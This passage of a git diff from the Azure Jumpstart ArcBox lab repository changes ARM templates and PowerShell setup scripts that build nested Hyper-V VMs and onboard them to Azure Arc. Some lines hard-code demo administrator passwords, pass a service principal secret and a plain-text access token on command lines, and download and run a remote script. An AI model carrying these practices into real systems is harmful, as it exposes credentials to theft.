variables('networkInterfaceName'))]" - } - ] - }, - "osProfile": { - "computerName": "[variables('vmName')]", - "adminUsername": "[parameters('adminUsername')]", - "linuxConfiguration": { - "disablePasswordAuthentication": true, - "ssh": { - "publicKeys": [ - { - "path": "[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]", - "keyData": "[parameters('sshRSAPublicKey')]" - } - ] - } - } - } - } - }, - { - "type": "Microsoft.Compute/virtualMachines/extensions", - "name": "[concat(variables('vmName'),'/installscript_CAPI')]", - "apiVersion": "2022-03-01", - "location": "[parameters('azureLocation')]", - "dependsOn": [ - "[resourceId('Microsoft.Compute/virtualMachines/', variables('vmName'))]" - ], - "properties": { - "publisher": "Microsoft.Azure.Extensions", - "type": "CustomScript", - "typeHandlerVersion": "2.1", - "autoUpgradeMinorVersion": true, - "settings": { - }, - "protectedSettings": { - "commandToExecute": "[concat('bash installCAPI.sh', ' ', parameters('adminUsername'), ' ', parameters('spnClientId'), ' ', parameters('spnClientSecret'), ' ', parameters('spnTenantId'), ' ', parameters('vmName'), ' ', parameters('azureLocation'), ' ', parameters('stagingStorageAccountName'), ' ', parameters('logAnalyticsWorkspace'), ' ', parameters('capiArcDataClusterName'), ' ', parameters('templateBaseUrl'), ' ', parameters('flavor'))]", - "fileUris": [ "[concat(parameters('templateBaseUrl'), 'artifacts/installCAPI.sh')]" ] - } - } - } - ] -} \ No newline at end of file diff --git a/azure_jumpstart_arcbox/ARM/kubernetes/ubuntuRancher.json b/azure_jumpstart_arcbox/ARM/kubernetes/ubuntuRancher.json index 804630cfbc..e1e8b6e30c 100644 --- a/azure_jumpstart_arcbox/ARM/kubernetes/ubuntuRancher.json +++ b/azure_jumpstart_arcbox/ARM/kubernetes/ubuntuRancher.json @@ -78,7 +78,7 @@ "description": "Azure service principal client secret" } }, - "spnTenantId": { + "tenantId": { "type": "string", "metadata": { "description": "Azure AD tenant id for your service principal" @@ -152,7 +152,7 @@ "id": "[variables('subnetRef')]" }, "privateIPAllocationMethod": "Dynamic", - "publicIpAddress": "[if(not(parameters('deployBastion')),variables('PublicIPNoBastion'),json('null'))]" + "publicIpAddress": "[if(not(parameters('deployBastion')),variables('PublicIPNoBastion'), json('null'))]" } } ] @@ -243,7 +243,7 @@ "settings": { }, "protectedSettings": { - "commandToExecute": "[concat('bash installK3s.sh', ' ', parameters('adminUsername'), ' ', parameters('spnClientId'), ' ', parameters('spnClientSecret'), ' ', parameters('spnTenantId'), ' ', parameters('vmName'), ' ', parameters('azureLocation'), ' ', parameters('stagingStorageAccountName'), ' ', parameters('logAnalyticsWorkspace'), ' ', parameters('deployBastion'), ' ', parameters('templateBaseUrl'))]", + "commandToExecute": "[concat('bash installK3s.sh', ' ', parameters('adminUsername'), ' ', parameters('spnClientId'), ' ', parameters('spnClientSecret'), ' ', parameters('tenantId'), ' ', parameters('vmName'), ' ', parameters('azureLocation'), ' ', parameters('stagingStorageAccountName'), ' ', parameters('logAnalyticsWorkspace'), ' ', parameters('deployBastion'), ' ', parameters('templateBaseUrl'))]", "fileUris": [ "[concat(parameters('templateBaseUrl'), 'artifacts/installK3s.sh')]" ] } } diff --git a/azure_jumpstart_arcbox/ARM/mgmt/addsVm.json b/azure_jumpstart_arcbox/ARM/mgmt/addsVm.json index c2cc525d7d..f512177485 100644 --- a/azure_jumpstart_arcbox/ARM/mgmt/addsVm.json +++ b/azure_jumpstart_arcbox/ARM/mgmt/addsVm.json @@ -103,7 +103,7 @@ }, "privateIPAllocationMethod": "Static", "privateIPAddress": "[variables('addsPrivateIPAddress')]", - "publicIpAddress": "[if(not(parameters('deployBastion')),variables('PublicIPNoBastion'),json('null'))]" + "publicIpAddress": "[if(not(parameters('deployBastion')),variables('PublicIPNoBastion'), json('null'))]" } } ] diff --git a/azure_jumpstart_arcbox/ARM/mgmt/mgmtArtifacts.json b/azure_jumpstart_arcbox/ARM/mgmt/mgmtArtifacts.json index 7f7d360ced..5b6a8e1683 100644 --- a/azure_jumpstart_arcbox/ARM/mgmt/mgmtArtifacts.json +++ b/azure_jumpstart_arcbox/ARM/mgmt/mgmtArtifacts.json @@ -598,6 +598,6 @@ } ] } - } + } ] } diff --git a/azure_jumpstart_arcbox/ARM/mgmt/policyAzureArcBuiltins.json b/azure_jumpstart_arcbox/ARM/mgmt/policyAzureArcBuiltins.json index 32aaade829..e3ed5bc1b9 100644 --- a/azure_jumpstart_arcbox/ARM/mgmt/policyAzureArcBuiltins.json +++ b/azure_jumpstart_arcbox/ARM/mgmt/policyAzureArcBuiltins.json @@ -17,7 +17,7 @@ "flavor": { "type": "string", "metadata": { - "description": "The flavor of ArcBox you want to deploy. Valid values are: 'Full', 'ITPro', 'DevOps'" + "description": "The flavor of ArcBox you want to deploy. Valid values are: 'ITPro', 'DevOps'" } } }, @@ -27,9 +27,8 @@ "name": "(ArcBox) Enable Azure Monitor for Hybrid VMs with AMA", "definitionId": "/providers/Microsoft.Authorization/policySetDefinitions/59e9c3eb-d8df-473b-8059-23fd38ddd0f0", "flavors": [ - "Full", "ITPro", - "DataOps" + "DevOps" ], "roleDefinition": [ "[concat('/subscriptions/', subscription().subscriptionId, '/providers/Microsoft.Authorization/roleDefinitions/', '92aaf0da-9dab-42b6-94a3-d43ce8d16293')]", @@ -49,7 +48,6 @@ "name": "(ArcBox) Tag resources", "definitionId": "/providers/Microsoft.Authorization/policyDefinitions/4f9dc7db-30c1-420c-b61a-e1d640128d26", "flavors": [ - "Full", "ITPro", "DevOps", "DataOps" @@ -68,7 +66,6 @@ "name": "(ArcBox) Enable Microsoft Defender on Kubernetes clusters", "definitionId": "/providers/Microsoft.Authorization/policyDefinitions/708b60a6-d253-4fe0-9114-4be4c00f012c", "flavors": [ - "Full", "DevOps" ], "roleDefinition": "[concat('/subscriptions/', subscription().subscriptionId, '/providers/Microsoft.Authorization/roleDefinitions/', '92aaf0da-9dab-42b6-94a3-d43ce8d16293')]", diff --git a/azure_jumpstart_arcbox/artifacts/ArcSQLManualOnboarding.ps1 b/azure_jumpstart_arcbox/artifacts/ArcSQLManualOnboarding.ps1 deleted file mode 100644 index b035640fb3..0000000000 --- a/azure_jumpstart_arcbox/artifacts/ArcSQLManualOnboarding.ps1 +++ /dev/null @@ -1,182 +0,0 @@ -param( - [string]$subId = "", - [string]$resourceGroup = "", - [string]$sqlServerName = "" -) - -$host.ui.RawUI.WindowTitle = “Onboarding...” - -Add-Type -AssemblyName PresentationCore, PresentationFramework - -$WarningPreference = 'SilentlyContinue' - -$logLocation = 'C:\ArcBox\Logs' -$scriptLocation = 'C:\ArcBox' - -# Define function to display pop-up message boxes - -function Show-Message { - param( - [Parameter(Mandatory)] - [string]$messageTitle, - - [Parameter(Mandatory)] - [string]$messageBody, - - [Parameter(Mandatory)] - [ValidateSet("None", "Hand", "Question", "Warning", "Asterisk")] - [string]$messageImage, - - [Parameter(Mandatory)] - [ValidateSet("OK", "OkCancel", "YesNoCancel", "YesNo")] - [string]$messageButton - ) - - $top = New-Object System.Windows.Window -Property @{TopMost = $True} - - return [System.Windows.MessageBox]::Show($top, $messageBody, $messageTitle, $messageButton, $messageImage) -} - -# Begin transcript - -Start-Transcript -Path "${logLocation}\ArcSQLServer.log" - -# Inform user of onboarding process and ask to proceed - -$startMsg = @" -This script will onboard the VM 'ArcBox-SQL' as an Azure Arc-enabled SQL Server. - -When you click 'OK', you will be redirected to the Micorsoft Device Authentication website. The code will be copied to the clipboard, so simply paste it in and complete the Microsoft authentication process. - -To continue, you must be an Owner or User Access Administrator at the Subscription or Resource Group level. -"@ - -$continue = Show-Message 'Azure Arc-enabled SQL Server' $startMsg 'Asterisk' 'OkCancel' - -if ($continue -eq 'Cancel') { throw [System.Exception] "Script cancelled by user" } - -# PowerShell Settings - -[string]$userName = "${sqlServerName}\Administrator" -[string]$userPassword = 'ArcDemo123!!' -[securestring]$secStringPassword = ConvertTo-SecureString $userPassword -AsPlainText -Force -[pscredential]$credObject = New-Object System.Management.Automation.PSCredential ($userName, $secStringPassword) - -Set-Item WSMan:\localhost\Client\TrustedHosts -Value $sqlServerName -Force - -# PowerShell Session Setup - -$Server01 = New-PSSession -ComputerName $sqlServerName -Credential $credObject - -Write-Host "Logging into ${sqlServerName} and installing Azure PowerShell (this will take some time)..." - -Invoke-Command -Session $Server01 -ScriptBlock {Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser -Force} -Invoke-Command -Session $Server01 -ScriptBlock {Install-Module -Name Az -AllowClobber -Scope CurrentUser -Repository PSGallery -WarningAction SilentlyContinue -Force} - -Write-Host "Copying Azure Arc-enabled SQL onboarding script to ${sqlServerName}.." - -Copy-Item -Path $scriptLocation\installArcAgentSQLUser.ps1 -Destination $scriptLocation -ToSession $Server01 -Force - -# Authenticate to Azure PowerShell SDK - -Write-Host "Authenticating to Azure PowerShell on ${sqlServerName}..." - -$loginJob = Invoke-Command -Session $Server01 {Connect-AzAccount -UseDeviceAuthentication -ErrorAction Stop} -AsJob -$loginJobId = $loginJob.Id -$loginMessage = '' - -do { - Start-Sleep -Seconds 1 - Receive-Job -Id $loginJobId -Keep -WarningVariable loginMessage -} while (-not $loginMessage) - -[regex]$rx = '((?<=enter the code )(?.*)(?= to authenticate))' -Set-Clipboard -Value $rx.match($loginMessage).Groups['Code'].Value - -Write-Host "Opening Edge browser window, please paste authentication code from clipboard..." - -$edge = Start-Process microsoft-edge:'http://www.microsoft.com/devicelogin' -WindowStyle Maximized -PassThru - -Write-Host -NoNewLine "Waiting for login..." -#Wait-Job $loginJob - -while ($(Get-Job -Id $loginJobId).State -eq 'Running') { - Write-Host -NoNewLine "." - Start-Sleep -Seconds 10 -} -Write-Host - -if ((Get-Job -Id $loginJobId -IncludeChildJob | Where-Object {$_.Error} | Select-Object -ExpandProperty Error) -or ((Get-Job -Id $loginJobId).State -eq 'Failed')) -{ - $loginFailMsg = "Login failed, please see the log for additional details." - - Write-Host $loginFailMsg - Show-Message 'Azure Arc-enabled SQL Server' $loginFailMsg 'Warning' 'Ok' - Stop-Transcript - - Stop-Process -Id $edge.Id -ErrorAction SilentlyContinue - throw [System.Exception] "Login Failed!" -} - -Stop-Process -Id $edge.Id -ErrorAction SilentlyContinue -Write-Host "Login Success!" - -# Set Subscription Context -Invoke-Command -Session $Server01 -ScriptBlock {Set-AzContext -Subscription $using:subId} - -# Verify user permissions -$userName = Invoke-Command -Session $Server01 -ScriptBlock {$(Get-AzADUser -SignedIn).DisplayName} -$userObjectId = Invoke-Command -Session $Server01 -ScriptBlock {$(Get-AzADUser -SignedIn).Id} -$roleWritePermissions = Invoke-Command -Session $Server01 -ScriptBlock {Get-AzRoleAssignment -ResourceGroupName $using:resourceGroup -WarningAction SilentlyContinue} -$actionList = @("*", "Microsoft.Authorization/*/Write") -$roleDefId = Invoke-Command -Session $Server01 -ScriptBlock {@(Get-AzRoleDefinition | Where-Object { (Compare-Object $using:actionList $_.Actions -IncludeEqual -ExcludeDifferent) -and -not (Compare-Object $using:actionList $_.NotActions -IncludeEqual -ExcludeDifferent) } | Select-Object -ExpandProperty Id)} -$hasPermission = @($roleWritePermissions | Where-Object { $_.ObjectId -eq $userObjectId } | Where-Object { $roleDefId -contains $_.RoleDefinitionId }) - -if(-not $hasPermission) { - $permissionFailMsg = "User ($userName) missing 'write' permissions to Resource Group '${resourceGroup}'. Please see the log for additional details." - - Write-Host $permissionFailMsg - Show-Message 'Azure Arc-enabled SQL Server' $permissionFailMsg 'Warning' 'Ok' - Stop-Transcript - - throw [System.Exception] "Invalid user permissions on Resource Group!" -} - -Write-Host "User ($userName) has 'write' permissions to Resource Group '${resourceGroup}'!" - -# Onboard Azure Arc-enabled SQL Server - -$sqlJob = Invoke-Command -Session $Server01 -FilePath $scriptLocation\installArcAgentSQLUser.ps1 -AsJob - -$sqlJobId = $sqlJob.Id - -Write-Host "Target SQL Server -> ${sqlServerName}" -Write-Host -NoNewLine "Onboarding..." -# Wait-Job $sqlJob - -while ($(Get-Job -Id $sqlJobId).State -eq 'Running') { - Write-Host -NoNewLine "." - Start-Sleep -Seconds 10 -} -Write-Host - -if ((Get-Job -Id $sqlJobId -IncludeChildJob | Where-Object {$_.Error} | Select-Object -ExpandProperty Error) -or ((Get-Job -Id $sqlJobId).State -eq 'Failed')) -{ - $onboardFailMsg = "SQL Server Onboading failed, please see the log for additional details." - - Write-Host $onboardFailMsg - Show-Message 'Azure Arc-enabled SQL Server' $onboardFailMsg 'Warning' 'Ok' - Stop-Transcript - - throw [System.Exception] "Login Failed!" -} - -$onboardSuccessMsg = "SQL Server has been successfully onboaded into Azure Arc! The server should be visible in the Arc blade of the Azure portal in the next few minutes." - -Write-Host "SQL Server Onboarded!" -Show-Message 'Azure Arc-enabled SQL Server' $onboardSuccessMsg 'None' 'Ok' - -$shortcutLink = "$Env:Public\Desktop\Onboard SQL Server.lnk" -Remove-Item $shortcutLink -Force - -Stop-Transcript diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index ff7b3a341a..d3efc6c2cb 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -1,30 +1,77 @@ +$ErrorActionPreference = $env:ErrorActionPreference + $Env:ArcBoxDir = "C:\ArcBox" $Env:ArcBoxLogsDir = "$Env:ArcBoxDir\Logs" -$Env:ArcBoxVMDir = "$Env:ArcBoxDir\Virtual Machines" +$Env:ArcBoxVMDir = "F:\Virtual Machines" $Env:ArcBoxIconDir = "$Env:ArcBoxDir\Icons" +$Env:ArcBoxTestsDir = "$Env:ArcBoxDir\Tests" +$Env:ArcBoxDscDir = "$Env:ArcBoxDir\DSC" $agentScript = "$Env:ArcBoxDir\agentScript" # Set variables to execute remote powershell scripts on guest VMs $nestedVMArcBoxDir = $Env:ArcBoxDir -$spnClientId = $env:spnClientId -$spnClientSecret = $env:spnClientSecret -$spnTenantId = $env:spnTenantId +$tenantId = $env:tenantId $subscriptionId = $env:subscriptionId $azureLocation = $env:azureLocation $resourceGroup = $env:resourceGroup +$resourceTags = $env:resourceTags +$namingPrefix = $env:namingPrefix # Moved VHD storage account details here to keep only in place to prevent duplicates. -$vhdSourceFolder = "https://jumpstartprodsg.blob.core.windows.net/arcbox/*" +$vhdSourceFolder = "https://jumpstartprodsg.blob.core.windows.net/arcbox/prod/*" -# Archive exising log file and crate new one +# Archive existing log file and create new one $logFilePath = "$Env:ArcBoxLogsDir\ArcServersLogonScript.log" -if ([System.IO.File]::Exists($logFilePath)) { +if (Test-Path $logFilePath) { $archivefile = "$Env:ArcBoxLogsDir\ArcServersLogonScript-" + (Get-Date -Format "yyyyMMddHHmmss") Rename-Item -Path $logFilePath -NewName $archivefile -Force } Start-Transcript -Path $logFilePath -Force -ErrorAction SilentlyContinue +# Remove registry keys that are used to automatically logon the user (only used for first-time setup) +$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" +$keys = @("AutoAdminLogon", "DefaultUserName", "DefaultPassword") + +foreach ($key in $keys) { + try { + $property = Get-ItemProperty -Path $registryPath -Name $key -ErrorAction Stop + Remove-ItemProperty -Path $registryPath -Name $key + Write-Host "Removed registry key that are used to automatically logon the user: $key" + } catch { + Write-Verbose "Key $key does not exist." + } +} + +# Create Windows Terminal desktop shortcut +$WshShell = New-Object -comObject WScript.Shell +$WinTerminalPath = (Get-ChildItem "C:\Program Files\WindowsApps" -Recurse | Where-Object { $_.name -eq "wt.exe" }).FullName +$Shortcut = $WshShell.CreateShortcut("$Env:USERPROFILE\Desktop\Windows Terminal.lnk") +$Shortcut.TargetPath = $WinTerminalPath +$shortcut.WindowStyle = 3 +$shortcut.Save() + +# Create desktop shortcut for Logs-folder +$WshShell = New-Object -comObject WScript.Shell +$LogsPath = "C:\ArcBox\Logs" +$Shortcut = $WshShell.CreateShortcut("$Env:USERPROFILE\Desktop\Logs.lnk") +$Shortcut.TargetPath = $LogsPath +$shortcut.WindowStyle = 3 +$shortcut.Save() + +# Configure Windows Terminal as the default terminal application +$registryPath = "HKCU:\Console\%%Startup" + +if (Test-Path $registryPath) { + Set-ItemProperty -Path $registryPath -Name "DelegationConsole" -Value "{2EACA947-7F5F-4CFA-BA87-8F7FBEEFBE69}" + Set-ItemProperty -Path $registryPath -Name "DelegationTerminal" -Value "{E12CFF52-A866-4C77-9A90-F570A7AA2C6B}" +} else { + New-Item -Path $registryPath -Force | Out-Null + Set-ItemProperty -Path $registryPath -Name "DelegationConsole" -Value "{2EACA947-7F5F-4CFA-BA87-8F7FBEEFBE69}" + Set-ItemProperty -Path $registryPath -Name "DelegationTerminal" -Value "{E12CFF52-A866-4C77-9A90-F570A7AA2C6B}" +} + + ################################################ # Setup Hyper-V server before deploying VMs for each flavor ################################################ @@ -53,7 +100,7 @@ if ($Env:flavor -ne "DevOps") { # Set custom DNS if flaver is DataOps if ($Env:flavor -eq 'DataOps') { - Add-DhcpServerInDC -DnsName "arcbox-client.jumpstart.local" + Add-DhcpServerInDC -DnsName "$namingPrefix-client.jumpstart.local" Restart-Service dhcpserver } @@ -65,29 +112,10 @@ if ($Env:flavor -ne "DevOps") { New-NetNat -Name $natName -InternalIPInterfaceAddressPrefix 10.10.1.0/24 } - # Create an internal switch with NAT - Write-Host "Creating Internal vSwitch" - $switchName = 'InternalNATSwitch' - - # Verify if internal switch is already created, if not create a new switch - $inernalSwitch = Get-VMSwitch - if ($inernalSwitch.Name -ne $switchName) { - New-VMSwitch -Name $switchName -SwitchType Internal - $adapter = Get-NetAdapter | Where-Object { $_.Name -like "*" + $switchName + "*" } - - # Create an internal network (gateway first) - Write-Host "Creating Gateway" - New-NetIPAddress -IPAddress 10.10.1.1 -PrefixLength 24 -InterfaceIndex $adapter.ifIndex - - # Enable Enhanced Session Mode on Host - Write-Host "Enabling Enhanced Session Mode" - Set-VMHost -EnableEnhancedSessionMode $true - } - Write-Host "Creating VM Credentials" # Hard-coded username and password for the nested VMs $nestedWindowsUsername = "Administrator" - $nestedWindowsPassword = "ArcDemo123!!" + $nestedWindowsPassword = "JS123!!" # Create Windows credential object $secWindowsPassword = ConvertTo-SecureString $nestedWindowsPassword -AsPlainText -Force @@ -97,316 +125,288 @@ if ($Env:flavor -ne "DevOps") { Write-Host "Creating Hyper-V Shortcut" Copy-Item -Path "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Hyper-V Manager.lnk" -Destination "C:\Users\All Users\Desktop" -Force - # Configure the ArcBox Hyper-V host to allow the nested VMs onboard as Azure Arc-enabled servers - Write-Header "Blocking IMDS" - Write-Output "Configure the ArcBox VM to allow the nested VMs onboard as Azure Arc-enabled servers" - Set-Service WindowsAzureGuestAgent -StartupType Disabled -Verbose - Stop-Service WindowsAzureGuestAgent -Force -Verbose - - if (!(Get-NetFirewallRule -Name BlockAzureIMDS -ErrorAction SilentlyContinue).Enabled) { - New-NetFirewallRule -Name BlockAzureIMDS -DisplayName "Block access to Azure IMDS" -Enabled True -Profile Any -Direction Outbound -Action Block -RemoteAddress 169.254.169.254 - } - $cliDir = New-Item -Path "$Env:ArcBoxDir\.cli\" -Name ".servers" -ItemType Directory -Force if (-not $($cliDir.Parent.Attributes.HasFlag([System.IO.FileAttributes]::Hidden))) { $folder = Get-Item $cliDir.Parent.FullName -ErrorAction SilentlyContinue $folder.Attributes += [System.IO.FileAttributes]::Hidden } - $Env:AZURE_CONFIG_DIR = $cliDir.FullName - # Install Azure CLI extensions Write-Header "Az CLI extensions" - az extension add --name ssh --yes --only-show-errors - az extension add --name log-analytics-solution --yes --only-show-errors - az extension add --name connectedmachine --yes --only-show-errors + + az config set extension.use_dynamic_install=yes_without_prompt --only-show-errors + + @("ssh","log-analytics-solution","connectedmachine", "monitor-control-service") | + ForEach-Object -Parallel { + az extension add --name $PSItem --yes --only-show-errors + } # Required for CLI commands Write-Header "Az CLI Login" - az login --service-principal --username $spnClientId --password=$spnClientSecret --tenant $spnTenantId - az account set -s $Env:subscriptionId + az login --identity + az account set -s $subscriptionId - # Register Azure providers - Write-Header "Registering Providers" - az provider register --namespace Microsoft.HybridCompute --wait --only-show-errors - az provider register --namespace Microsoft.HybridConnectivity --wait --only-show-errors - az provider register --namespace Microsoft.GuestConfiguration --wait --only-show-errors - az provider register --namespace Microsoft.AzureArcData --wait --only-show-errors + Write-Header "Az PowerShell Login" + Connect-AzAccount -Identity -Tenant $tenantId -Subscription $subscriptionId # Enable defender for cloud for SQL Server - # Verify existing plan and update accordingly - $currentsqlplan = (az security pricing show -n SqlServerVirtualMachines --subscription $subscriptionId | ConvertFrom-Json) - if ($currentsqlplan.pricingTier -eq "Free") { - # Update to standard plan - Write-Header "Current Defender for SQL plan is $($currentsqlplan.pricingTier). Updating to standard plan." - az security pricing create -n SqlServerVirtualMachines --tier 'standard' --subscription $subscriptionId --only-show-errors - - # Set defender for cloud log analytics workspace - Write-Header "Updating Log Analytics workspacespace for defender for cloud for SQL Server" - az security workspace-setting create -n default --target-workspace "/subscriptions/$subscriptionId/resourceGroups/$resourceGroup/providers/Microsoft.OperationalInsights/workspaces/$env:workspaceName" --only-show-errors - } - else { - Write-Header "Current Defender for SQL plan is $($currentsqlplan.pricingTier)" - } - - # Deploy SQLAdvancedThreatProtection solution to support Defender for SQL - Write-Host "Deploying SQLAdvancedThreatProtection solution to support Defender for SQL server." - $extExists = $false - $extensionList = az monitor log-analytics solution list --resource-group $resourceGroup | ConvertFrom-Json - foreach ($extension in $extensionList.value) { if ($extension.Name -match "SQLAdvancedThreatProtection") { $extExists = $true; break; } } - if (!$extExists) { - az monitor log-analytics solution create --resource-group $resourceGroup --solution-type SQLAdvancedThreatProtection --workspace $Env:workspaceName --only-show-errors --no-wait - } + # Get workspace information + $workspaceResourceID = (az monitor log-analytics workspace show --resource-group $resourceGroup --workspace-name $Env:workspaceName --query "id" -o tsv) # Before deploying ArcBox SQL set resource group tag ArcSQLServerExtensionDeployment=Disabled to opt out of automatic SQL onboarding az tag create --resource-id "/subscriptions/$subscriptionId/resourceGroups/$resourceGroup" --tags ArcSQLServerExtensionDeployment=Disabled - $SQLvmName = "ArcBox-SQL" - $SQLvmvhdPath = "$Env:ArcBoxVMDir\${SQLvmName}.vhdx" + $SQLvmName = "$namingPrefix-SQL" + $SQLvmvhdPath = "$Env:ArcBoxVMDir\$namingPrefix-SQL.vhdx" Write-Host "Fetching SQL VM" # Verify if VHD files already downloaded especially when re-running this script - if (!([System.IO.File]::Exists($SQLvmvhdPath) )) { + if (!(Test-Path $SQLvmvhdPath)) { <# Action when all if and elseif conditions are false #> $Env:AZCOPY_BUFFER_GB = 4 # Other ArcBox flavors does not have an azcopy network throughput capping Write-Output "Downloading nested VMs VHDX file for SQL. This can take some time, hold tight..." - azcopy cp $vhdSourceFolder --include-pattern "${SQLvmName}.vhdx" $Env:ArcBoxVMDir --check-length=false --cap-mbps 1200 --log-level=ERROR + azcopy cp $vhdSourceFolder --include-pattern "ArcBox-SQL.vhdx" $Env:ArcBoxVMDir --check-length=false --log-level=ERROR } # Create the nested VMs if not already created Write-Header "Create Hyper-V VMs" - # Create the nested SQL VM - Write-Host "Create SQL VM" - if ((Get-VM -Name $SQLvmName -ErrorAction SilentlyContinue).State -ne "Running") { - Remove-VM -Name $SQLvmName -Force -ErrorAction SilentlyContinue - New-VM -Name $SQLvmName -MemoryStartupBytes 12GB -BootDevice VHD -VHDPath $SQLvmvhdPath -Path $Env:ArcBoxVMDir -Generation 2 -Switch $switchName - Set-VMProcessor -VMName $SQLvmName -Count 2 - Set-VM -Name $SQLvmName -AutomaticStartAction Start -AutomaticStopAction ShutDown - } + # Create the nested SQL VMs + $sqlDscConfigurationFile = "$Env:ArcBoxDscDir\virtual_machines_sql.dsc.yml" + (Get-Content -Path $sqlDscConfigurationFile) -replace 'namingPrefixStage', $namingPrefix | Set-Content -Path $sqlDscConfigurationFile + winget configure --file C:\ArcBox\DSC\virtual_machines_sql.dsc.yml --accept-configuration-agreements --disable-interactivity - # We always want the VMs to start with the host and shut down cleanly with the host - Write-Host "Set VM Auto Start/Stop" - Set-VM -Name $SQLvmName -AutomaticStartAction Start -AutomaticStopAction ShutDown + # Restarting Windows VM Network Adapters + Write-Host "Restarting Network Adapters" + Start-Sleep -Seconds 5 + Invoke-Command -VMName $SQLvmName -ScriptBlock { Get-NetAdapter | Restart-NetAdapter } -Credential $winCreds + Start-Sleep -Seconds 20 - Write-Host "Enabling Guest Integration Service" - Get-VM -Name $SQLvmName | Get-VMIntegrationService | Where-Object { -not($_.Enabled) } | Enable-VMIntegrationService -Verbose + if ($namingPrefix -ne "ArcBox") { - # Start all the VMs - Write-Host "Starting SQL VM" - Start-VM -Name $SQLvmName + Write-Header "Renaming the nested SQL VM" + Invoke-Command -VMName $SQLvmName -ScriptBlock { Rename-Computer -NewName $using:SQLvmName -Restart} -Credential $winCreds + Get-VM *SQL* | Wait-VM -For IPAddress - # Restarting Windows VM Network Adapters - Write-Host "Restarting Network Adapters" - Start-Sleep -Seconds 20 - Invoke-Command -VMName $SQLvmName -ScriptBlock { Get-NetAdapter | Restart-NetAdapter } -Credential $winCreds - Start-Sleep -Seconds 5 + Write-Host "Waiting for the nested Windows SQL VM to come back online...waiting for 10 seconds" + + Start-Sleep -Seconds 10 + + } + + # Enable Windows Firewall rule for SQL Server + Invoke-Command -VMName $SQLvmName -ScriptBlock { New-NetFirewallRule -DisplayName "Allow SQL Server TCP 1433" -Direction Inbound -Protocol TCP -LocalPort 1433 -Action Allow } -Credential $winCreds + + # Download SQL assessment preparation script + Invoke-WebRequest ($Env:templateBaseUrl + "artifacts/prepareSqlServerForAssessment.ps1") -OutFile $nestedVMArcBoxDir\prepareSqlServerForAssessment.ps1 + Copy-VMFile $SQLvmName -SourcePath "$Env:ArcBoxDir\prepareSqlServerForAssessment.ps1" -DestinationPath "$nestedVMArcBoxDir\prepareSqlServerForAssessment.ps1" -CreateFullPath -FileSource Host -Force + Invoke-Command -VMName $SQLvmName -ScriptBlock { powershell -File $Using:nestedVMArcBoxDir\prepareSqlServerForAssessment.ps1 } -Credential $winCreds # Copy installation script to nested Windows VMs Write-Output "Transferring installation script to nested Windows VMs..." - Copy-VMFile $SQLvmName -SourcePath "$agentScript\installArcAgentSQLSP.ps1" -DestinationPath "$Env:ArcBoxDir\installArcAgentSQL.ps1" -CreateFullPath -FileSource Host -Force + Copy-VMFile $SQLvmName -SourcePath "$agentScript\installArcAgent.ps1" -DestinationPath "$Env:ArcBoxDir\installArcAgent.ps1" -CreateFullPath -FileSource Host -Force Write-Header "Onboarding Arc-enabled servers" # Onboarding the nested VMs as Azure Arc-enabled servers Write-Output "Onboarding the nested Windows VMs as Azure Arc-enabled servers" - Invoke-Command -VMName $SQLvmName -ScriptBlock { powershell -File $Using:nestedVMArcBoxDir\installArcAgentSQL.ps1 -spnClientId $Using:spnClientId, -spnClientSecret $Using:spnClientSecret, -spnTenantId $Using:spnTenantId, -subscriptionId $Using:subscriptionId, -resourceGroup $Using:resourceGroup, -azureLocation $Using:azureLocation } -Credential $winCreds - - # Configure SSH on the nested Windows VMs - Write-Output "Configuring SSH via Azure Arc agent on the nested Windows VMs" - Invoke-Command -VMName $SQLvmName -ScriptBlock { - # Allow SSH via Azure Arc agent - azcmagent config set incomingconnections.ports 22 - } -Credential $winCreds - - - # Install Log Analytics extension to support Defender for SQL - $mmaExtension = az connectedmachine extension list --machine-name $SQLvmName --resource-group $resourceGroup --query "[?name=='MicrosoftMonitoringAgent']" | ConvertFrom-Json - if ($mmaExtension.Count -le 0) { - # Get workspace information - $workspaceID = (az monitor log-analytics workspace show --resource-group $resourceGroup --workspace-name $Env:workspaceName --query "customerId" -o tsv) - $workspaceKey = (az monitor log-analytics workspace get-shared-keys --resource-group $resourceGroup --workspace-name $Env:workspaceName --query "primarySharedKey" -o tsv) - - Write-Host "Deploying Microsoft Monitoring Agent to test Defender for SQL." - az connectedmachine extension create --machine-name $SQLvmName --name "MicrosoftMonitoringAgent" --settings "{'workspaceId':'$workspaceID'}" --protected-settings "{'workspaceKey':'$workspaceKey'}" --resource-group $resourceGroup --type-handler-version "1.0.18067.0" --type "MicrosoftMonitoringAgent" --publisher "Microsoft.EnterpriseCloud.Monitoring" --no-wait - Write-Host "Microsoft Monitoring Agent deployment initiated." - } + $accessToken = ConvertFrom-SecureString ((Get-AzAccessToken -AsSecureString).Token) -AsPlainText + Invoke-Command -VMName $SQLvmName -ScriptBlock { powershell -File $Using:nestedVMArcBoxDir\installArcAgent.ps1 -accessToken $using:accessToken, -tenantId $Using:tenantId, -subscriptionId $Using:subscriptionId, -resourceGroup $Using:resourceGroup, -azureLocation $Using:azureLocation } -Credential $winCreds + + # Wait for the Arc-enabled server installation to be completed + $retryCount = 0 + do + { + $ArcServer = Get-AzConnectedMachine -Name $SQLvmName -ResourceGroupName $resourceGroup + if (($null -ne $ArcServer) -and ($ArcServer.ProvisioningState -eq "Succeeded")) { + Write-Host "Onboarding the nested SQL VM as Azure Arc-enabled server successful." + $azConnectedMachineId = $ArcServer.Id + break; + } + else { + $retryCount = $retryCount + 1 + if ($retryCount -gt 5) { + Write-Host "WARNING: Timeout exceeded for onboarding nested SQL VM as Azure Arc-enabled server ... Retry count: $retryCount." + Exit + } + else { + Write-Host "Waiting for onboarding nested SQL VM as Azure Arc-enabled server ... Retry count: $retryCount" + Start-Sleep(30) + } + } + } while($retryCount -le 5) + + # Create SQL server extension as policy to auto deployment is disabled + Write-Host "Installing SQL Server extension on the Arc-enabled Server." + az connectedmachine extension create --machine-name $SQLvmName --name "WindowsAgent.SqlServer" 